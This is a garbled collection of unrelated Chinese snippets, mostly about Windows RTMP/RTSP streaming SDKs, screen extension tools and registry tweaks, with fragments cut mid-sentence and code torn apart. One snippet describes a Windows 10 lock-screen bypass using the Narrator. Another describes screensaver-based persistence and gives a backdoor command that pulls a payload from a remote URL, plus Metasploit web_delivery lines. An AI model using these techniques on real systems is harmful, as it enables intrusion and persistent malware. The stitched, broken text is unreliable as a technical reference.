在 Windows 10 计算机上,至少一个用户必须将 Microsoft 帐户链接到他的本地帐户。否则,该错误是不可利用的。 现在,我将尝试为你们人类做一个简短的解释。 image.png 正如您在上面看到的,如果您有权访问您的 Microsoft 帐户,Windows 可以允许您重置密码/pin。 您将无法看到其中任何一个,并且事情将完全不可见,您必须用耳朵听解说员说的话并用它来导航) ; image.png 然后你可能需要继续“更多细节” image.png 这会将我们重定向到另一个页面,继续导航直到到达“Windows
好多开发者提到,苦于在unity3d下实现RTMP直播推送,本次以大牛直播SDK(Github)的Windows平台RTMP推送模块(以推摄像头为例,如需推屏幕数据,设置相关参数即可)为例,介绍下unity3d 的RTMP推送集成。 ); } SmartPublishWinMono.cs 调用上述封装的代码即可,本地预览的话,拿到回调的RGB数据,在unity3d上层刷下即可,如下图: 经测试,unity3d下,RTMP 推送,配合RTMP播放端,依然可以实现毫秒级延迟的推拉流体验。
屏幕保护程序是在用户不活动时间的可配置时间后执行的程序,由文件扩展名为 .scr 的可移植可执行 (PE) 文件组成。 Windows屏幕保护程序应用程序scrnsave.scr位于64位Windows系统中,以及基本Windows安装中包含的屏幕保护程序。 C:\Windows\System32\C:\Windows\sysWOW64\以下屏幕保护程序设置存储在注册表 () 中,可以对其进行操作以实现持久性:HKCU\Control Panel\Desktop - 在执行屏幕保护程序之前设置用户不活动超时攻击者可以使用屏幕保护程序设置来保持持久性,方法是将屏幕保护程序设置为在用户处于非活动状态的特定时间范围后运行恶意软件。 Add-ScrnSaveBackdoor.ps1Add-ScrnSaveBackdoor -PayloadURL http://192.168.85.161:8080/U4yNTneuse exploit/multi/script/web_deliveryset payload windows
一、Nginx-RTMP服务器搭建1、下载Nginx下载地址:http://nginx-win.ecsds.eu/download/该版本是带rtmp模块且编译过的nginx版本,可以直接使用下载完成后解压 ,解压后的目录命名为nginx2、下载Nginx的RTMP扩展包下载地址:https://github.com/arut/nginx-rtmp-module下载完成后解压,将解压后的文件夹放入nginx /nginx-rtmp-module-master/;#rtmp拓展包目录} location/{   ://127.0.0.1:1935/live/stream,点击播放即可四、补充若需要在公网环境下进行推拉流,只需将80和1935端口映射到公网即可,然后将本地地址改为公网地址参考文章:Windows搭建 RTMP服务器+OBS推流+VLC拉流_浏览器查看推流服务器信息vlc-CSDN博客
技术背景好多开发者跟我们做技术交流的时候,会问到如何快速实现Windows平台屏幕摄像头推流能力?一个好的Windows推送模块,需要注意哪些技术细节? :音频编码:AAC/SPEEX;视频编码:H.264、H.265;推流协议:RTMP;[音视频]支持纯音频/纯视频/音视频推送;[屏幕/摄像头]支持帧率、关键帧间隔(GOP)、码率(bit-rate)设置 ;支持Windows7及以上版本。 如果是轻量级RTSP服务: [基础功能]支持Windows平台RTMP直播推送模块常规功能; [音频格式]AAC; [视频格式]H.264、H.265; [协议类型]RTSP; [传输模式]支持单播和组播模式 在Windows 64位系统上,如果推RTMP流,需要服务器支持RTMP H.265扩展(或Enhanced RTMP),同时播放器SDK也需要同步支持RTMP H.265扩展播放。
背景 大家在做Windows平台RTMP推送或轻量级RTSP服务的时候,不管是采集屏幕还是采集摄像头,亦或屏幕摄像头的叠加模式,总会有这样的诉求,采集到的数据,希望能本地看看具体采集的数据或者图像实际效果 NT_PB_E_VIDEO_OPTION { NT_PB_E_VIDEO_OPTION_NO_VIDEO = 0x0, NT_PB_E_VIDEO_OPTION_SCREEN = 0x1, // 采集屏幕 image_layer_c0->conf_.bk_blue_ = 255; layer_conf_wrappers_.push_back(image_layer_c0);*/ // 第0层是屏幕 rgba_layer_c0->conf_.alpha_ = 255; layer_conf_wrappers_.push_back(rgba_layer_c0); // 第1层是屏幕 BST_CHECKED == btn_check_desktop_input_.GetCheck()) { btn_choose_screen_region_.SetWindowTextW(L"移动屏幕区域
好多开发者使用场景,除了实现基础的低延迟RTSP、RTMP播放外,还需要实现RTSP、RTMP流数据的本地录像功能。 本文以大牛直播SDK的Windows平台播放模块为例,介绍下如何实现RTSP、RTMP流录像。 功能设计 [拉流]支持拉取RTSP流录像; [拉流]支持拉取RTMP流录像; [逻辑分离]和播放、转发功能完全分离,支持随时录像; [参数设置]支持设置单个录像文件大小、录像路径等,并支持纯音频、纯视频 、音视频录制模式; [音频转码]支持音频(PCMU/PCMA,Speex等)转AAC后再录像; [265支持]支持RTSP/RTMP H.265录制到MP4文件; [事件回调]从开始录像,到录像结束均有 | 0x5, /*断开连接*/ NT_SP_E_EVENT_ID_NO_MEDIADATA_RECEIVED = NT_SP_E_EVENT_ID_BASE | 0x8, /*收不到RTMP
实际使用过程中会发现,刚进入Windows时,屏幕很亮,但一会儿就暗下来了,之后怎么调节也亮不起来,调到最亮也偏暗。这说明Mac Pro本身还是可以很亮的,应当是某程序在控制。 事实却是如此,名叫“Sensor”的Windows服务程序在根据光感应的结果在动态调整屏幕亮度,这点和手机“自动亮度”类似。将服务“Sensor”停止,发现亮度立马上来了^_^。
如果是 MAC 电脑,可以使用随航功能,将 iPad 作为 MAC 的扩展屏幕,在同一局域网即可。Windows 呢? 其实有现成的软件可以用。 spacedesk Windows 端下载 SPACEDESK DRIVER SOFTWARE for Windows PRIMARY PC (server) iPad 上下载 SPACEDESK VIEWER 随后在 Windows 的设置中,就可以看到新加入的屏幕了。是扩展屏幕,还是复制屏幕内容,可以直接在这里设置。 比较有趣的是,spacedesk 的 Windows 端软件,在托盘中没有退出选项,退出就是在软件中关闭开关。(同时可以在这里将随系统启动的选项去除勾选) 有什么问题? Splashtop 只能复制屏幕内容,不能作为扩展屏幕。 apple pencil 倒是没有出现偶尔不识别的情况,但是延迟巨大,完全不可用。用手指写也是一样。
随着无纸化、智慧教室等场景的普及,好多企业或者开发者开始寻求更高效稳定低延迟的RTMP同屏方案,本文以大牛直播SDK(Github)的同屏demo(对应工程:SmartServicePublisherV2 )为例,介绍下如何采集编码推送RTMP数据到流媒体服务器。 废话不多说,上代码: 首先,获取screen windows宽高,如需缩放,按照一定的比例缩放即可: private void createScreenEnvironment() { , 3); //libPublisher.SmartPublisherSaveImageFlag(publisherHandle, 1); } 初始化、参数设置后,设置RTMP = 0) { isPushingRtmp = false; Log.e(TAG, "Failed to start push rtmp
技术背景我们在对接Windows平台RTSP|RTMP直播播放模块的时候,有开发者提出来这样的技术需求,他们做驾考、全景摄像头、多路会议录制等场景的时候,希望把多路视频流数据,合并到一路保存或者对外推送到 RTMP服务。 技术实现多路RTSP|RTMP流合流,实际上我们2016年就有这块demo,当时合流的数据是本地采集的摄像头或屏幕数据,和外部RTSP、RTMP流,合成后输出(类似于传统意义的连麦操作)。 这里大概说下思路,外部的RTSP|RTMP流数据,解码后,把YUV或RGB数据回调上来,然后,按照图层的形式,分别贴摄像头、屏幕数据或解码后的流数据。 );if (add_layer_config(text_layer, type))text_layer_index_ = index++;return index > 0;}合成后数据,可以对外推送到RTMP
,扩展你的屏幕。 只要你的两台设备处于同一个网络环境下(只要互相能够ping通),你就可以实现屏幕扩展(卡不卡我就不知道了)。 用过win10中的wifi扩展屏幕的同学都知道,扩展的屏幕显示质量和网络环境成正比。 准备&安装阶段: 设备:一台可以正常工作的 windows PC (主设备)、N(理论上可以扩展N台,但是我没试过)台带屏幕的闲置设备(手机、平板、笔记本都可以)(子设备) 软件:去这里下载:spacedesk 如果下载积分大于2,请在下面评论告诉我,我看见后会重新修改积分,还有这个压缩包里面不包含安卓客户端) 主设备下载下面这个,选择你的设备对应的操作系统和CPU字长 子设备下载下面这个,支持苹果设备、安卓设备,windows 设备等 使用方式: 主设备运行spacedesk Server,结果如下 点击此处,选择(ON)开启 子设备运行spacedesk Windows VIEWER,界面长这样: 如果你的主设备和子设备在同一个局域网内
使用 Windows Forms 自带的 System.Windows.Forms.Screen 类可以从一个窗口句柄获取到对应的屏幕。随后可以使用此 Screen 类获取各种屏幕信息。 System.Windows.Forms.Screen 通过句柄获取屏幕类: 1 System.Windows.Forms.Screen.FromHandle(hWnd) 这里我做了一个 DEMO 程序 ,画出了窗口的位置和大小,以及当前窗口所在的屏幕的位置和大小。 ; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input ; using System.Windows.Interop; using System.Windows.Media; using System.Windows.Media.Imaging; using
好多开发者在集成大牛直播SDK (官方)的Windows平台RTMP推送模块时吓一跳,怎么这么多接口? btn_check_scale_desktop_.Checked) { //屏幕模式 video_option = } SetCommonOptionToPublisherSDK() SetCommonOptionToPublisherSDK()主要是指定具体采集的音视频数据类型,比如摄像头数据、屏幕数据 、摄像头和屏幕叠加后的数据(以层级模式实现)、窗口等,这块比较复杂,好在作为SDK调用者,你只要搞清楚你需要采集的类型,直接移植就可以了。 publisher_handle_count_--; NTSmartPublisherSDK.NT_PB_StopPublisher(publisher_handle_); rtmp_play_urls
在中国,90%以上的办公环境都是Windows,学校和各种培训班的培训内容也都是Windows,Windows操作系统已经渗入到各行各业,人们已经习惯了Windows的界面和操作习惯,IT计算机和Windows 国产操作系统|Linux下RTMP同屏推送 在发布国产操作系统|Linux平台的RTMP直播推送SDK之前,大牛直播SDK(官方)的RTMP推送模块已稳定运行在Windows、Android和iOS平台几年了 相对Windows、Android和iOS平台,Linux在桌面采集等方面,资料非常少,数据采集可以采用调用XLib相关接口实现,本Demo实现的是Linux上实现桌面和系统声音采集,然后使用RTMP协议推出去的一个 推送和RTMP播放为例,整体测试时延都在毫秒级,可满足像内网无纸化、教育同屏等场景需求。 Linux的RTMP推送接口,和Windows平台的相差无几,通用接口四个平台几乎一致,不存在集成难度。
| 0x5, /*断开连接*/ NT_SP_E_EVENT_ID_NO_MEDIADATA_RECEIVED = NT_SP_E_EVENT_ID_BASE | 0x8, /*收不到RTMP NT_SP_E_VIDEO_FRAME_FORMAT_RGB32 = 1, // 32位的rgb格式, r, g, b各占8, 另外一个字节保留, 内存字节格式为: bb gg rr xx, 主要是和windows , 依次是rr, gg, bb NT_SP_E_VIDEO_FRAME_FORMAT_ARGB = 2, // 32位的argb格式,内存字节格式是: bb gg rr aa 这种类型,和windows 2.4.10 RTMP/RTSP播放参数设置 具体可参照Demo源码里面InitCommonSDKParam(): 2.4.10.1 播放前可选设置接口 NT_SP_SetBuffer:设置视频播放缓冲 2.4.17 停止播放 NT_SP_StopPlay 停止播放RTMP或RTSP流数据。 2.4.18 关闭播放实例 NT_SP_Close 调用Close接口后,player handler置空。
技术背景好多开发者,希望我们能系统的介绍下无纸化同屏的原理和集成步骤,以Android平台为例,无纸化同屏将Android设备上的屏幕内容实时投射到另一个显示设备(如Windows终端、国产化操作系统或另一台 技术实现本文以大牛直播SDK的Android的SmartServicePublisherV2的同屏demo为例,Android采集计时器,编码打包分别启动RTMP推送和轻量级RTSP服务,Windows 需要注意的是,Android采集音频播放的audio,音频播放采集是依赖屏幕投影的,屏幕投影关闭后,音频播放也就采不到了。 屏幕采集推送;支持自建标准RTMP服务器或CDN;支持断网自动重连、网络状态回调;支持实时动态水印;支持实时快照;支持降噪处理、自动增益控制;支持外部编码前音视频数据对接;支持外部编码后音视频数据对接; 总结以上是Android平台屏幕采集、音频播放声音采集、麦克风采集编码打包推送到RTMP和轻量级RTSP服务的相关技术实现,做成高稳定低延迟的同屏系统,还需要有配套好的RTMP、RTSP直播播放器,整体部署
如何在 Windows 11 中禁用锁定屏幕 在更新到 Windows 11 之后,在 Windows 10 下对 Windows 注册表文件进行的许多调整仍然存在,但是,许多其他调整已恢复为默认设置。 这就是为什么我们必须重新审视在 Windows 11 中禁用锁定屏幕所需的过程。 免责声明:编辑 Windows 注册表文件是一项严肃的工作。 损坏的 Windows 注册表文件可能会导致您的计算机无法运行,需要重新安装 Windows 操作系统并可能丢失数据。在继续之前备份 Windows 注册表文件并创建一个有效的还原点。 要测试您的编辑是否成功,请按键盘组合 Windows + L 手动锁定您的 Windows 11 PC。您现在应该看到登录屏幕,而不是您通常会看到的锁定屏幕,耐心等待您输入访问凭据. 参见:Windows 徽标键盘快捷键:完整列表(TechRepublic) 如果您想将 Windows 11 锁定屏幕添加回您的设置,只需再次编辑 Windows 注册表文件并将 NoLockScreen
也可以使用自定义文件夹,然后手动或者使用程序自动地更新这个文件夹中的图片,但也只能 Windows 默认的方式播放。 而 Windows 的屏幕保护程序是有比较大的灵活空间的,甚至可以自己写一个。 使用 WPF 开发一个 Windows 屏幕保护程序 - 腾讯云开发者社区-腾讯云 有没有办法使用屏幕保护程序做锁屏界面呢?从概念上来说,不可以,因为这是两个不同的东西。 方案1 winxcorners vhanla/winxcorners: Hot corners for Windows 10 WinXcorners - 免费 Win10 仿 Mac 屏幕触发角功能 winxcorners 可以在 Windows 上实现这个功能。安装之后可以看到,其自带了 Screen Saver(屏幕保护)的触发功能。 屏幕保护程序 完成了以上的设置,如果还使用 Windows 自带的几个预设屏幕保护程序,就不开心了。
一直以来,好多开发者苦于如何实现RTMP导播数据源实时切换,以下是大牛直播SDK导播切换说明,支持只切换数据源模式,或音视频混音合成输出模式: 数据源: 1. rtmp/rtsp音视频流; 2. 本地屏幕/摄像头/音频数据; 3.本地flv文件。 输出: 1. 多路流合成一路流后,推送到RTMP服务器; 2. 多路合成后的流,支持本地录像、快照。 使用说明: 无视频合成/音频混音模式: 1. 打开SmartStreamRelayDemo.exe,输入一路RTMP或RTSP流,在拉流地址输入需要转推的RTMP的url,如“rtmp://player.daniulive.com:1935/hls 打开SmartPlayer.exe,输入刚刚设置的RTMP url:rtmp://player.daniulive.com:1935/hls/stream666,点击“播放”即可。 切换一路RTMP数据源,输入新的RTMP地址,点击“切换拉流地址”即可: 3. 切换一路RTSP数据源,输入新的RTSP地址,点击“切换拉流地址”即可: 视频合成/音频混音模式: 1.